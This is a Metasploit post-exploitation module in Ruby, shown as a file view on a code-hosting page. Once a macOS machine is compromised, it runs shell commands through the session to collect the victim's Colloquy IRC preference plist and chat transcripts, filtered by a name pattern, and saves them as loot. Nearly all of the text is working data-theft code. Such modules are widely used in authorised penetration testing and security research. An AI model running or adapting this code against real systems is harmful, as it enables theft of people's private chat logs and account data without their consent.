CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_colloquy.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'OS X Gather Colloquy Enumeration',
14
'Description' => %q{
15
This module will collect Colloquy's info plist file and chat logs from the
16
victim's machine. There are three actions you may choose: INFO, CHATS, and
17
ALL. Please note that the CHAT action may take a long time depending on the
18
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
19
to search for certain log names (which consists of the contact's name, and a
20
timestamp). The default 'PATTERN' is configured as "^alien" as an example
21
to search for any chat logs associated with the name "alien".
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'sinn3r'],
25
'Platform' => [ 'osx' ],
26
'SessionTypes' => [ 'meterpreter', 'shell' ],
27
'Actions' => [
28
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
29
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
30
['ALL', { 'Description' => 'Collect both the plists and chat logs' }]
31
],
32
'DefaultAction' => 'ALL'
33
)
34
)
35
36
register_options(
37
[
38
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
39
]
40
)
41
end
42
43
#
44
# Parse a plst file to XML format:
45
# http://hints.macworld.com/article.php?story=20050430105126392
46
#
47
def plutil(filename)
48
exec("plutil -convert xml1 #{filename}")
49
data = exec("cat #{filename}")
50
return data
51
end
52
53
def get_chatlogs(base)
54
chats = []
55
56
# Get all the logs
57
print_status("#{@peer} - Download logs...")
58
folders = dir("\"#{base}\"")
59
folders.each do |f|
60
# Get all the transcripts from this folder
61
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
62
trans.split("\n").each do |t|
63
fname = ::File.basename(t)
64
# Check fname before downloading it
65
next if fname !~ datastore['PATTERN']
66
67
print_status("#{@peer} - Downloading #{t}")
68
content = exec("cat \"#{t}\"")
69
chats << { log_name: fname, content: content }
70
end
71
end
72
73
return chats
74
end
75
76
def get_preferences(path)
77
raw_plist = exec("cat #{path}")
78
return nil if raw_plist =~ /No such file or directory/
79
80
xml_plist = plutil(path)
81
return xml_plist
82
end
83
84
def save(type, data)
85
case type
86
when :preferences
87
p = store_loot(
88
'colloquy.preferences',
89
'text/plain',
90
session,
91
data,
92
'info.colloquy.plist'
93
)
94
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
95
96
when :chatlogs
97
data.each do |d|
98
log_name = d[:log_name]
99
content = d[:content]
100
101
p = store_loot(
102
'colloquy.chatlogs',
103
'text/plain',
104
session,
105
content,
106
log_name
107
)
108
print_good("#{@peer} - #{log_name} stored in #{p}")
109
end
110
end
111
end
112
113
def whoami
114
exec('/usr/bin/whoami')
115
end
116
117
def dir(path)
118
subdirs = exec("ls -l #{path}")
119
return [] if subdirs =~ /No such file or directory/
120
121
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten
122
return items
123
end
124
125
def exec(cmd)
126
tries = 0
127
begin
128
out = cmd_exec(cmd).chomp
129
rescue ::Timeout::Error => e
130
tries += 1
131
if tries < 3
132
vprint_error("#{@peer} - #{e.message} - retrying...")
133
retry
134
end
135
rescue EOFError => e
136
tries += 1
137
if tries < 3
138
vprint_error("#{@peer} - #{e.message} - retrying...")
139
retry
140
end
141
end
142
end
143
144
def run
145
if action.nil?
146
print_error('Please specify an action')
147
return
148
end
149
150
@peer = "#{session.session_host}:#{session.session_port}"
151
user = whoami
152
153
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
154
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
155
156
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
157
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
158
159
save(:preferences, prefs) if !prefs.nil? && !prefs.empty?
160
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
161
end
162
end
163
164
=begin
165
/Users/[user]/Documents/Colloquy Transcripts
166
/Users/[user]/Library/Preferences/info.colloquy.plist
167
168
Transcript example:
169
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
170
=end
171
172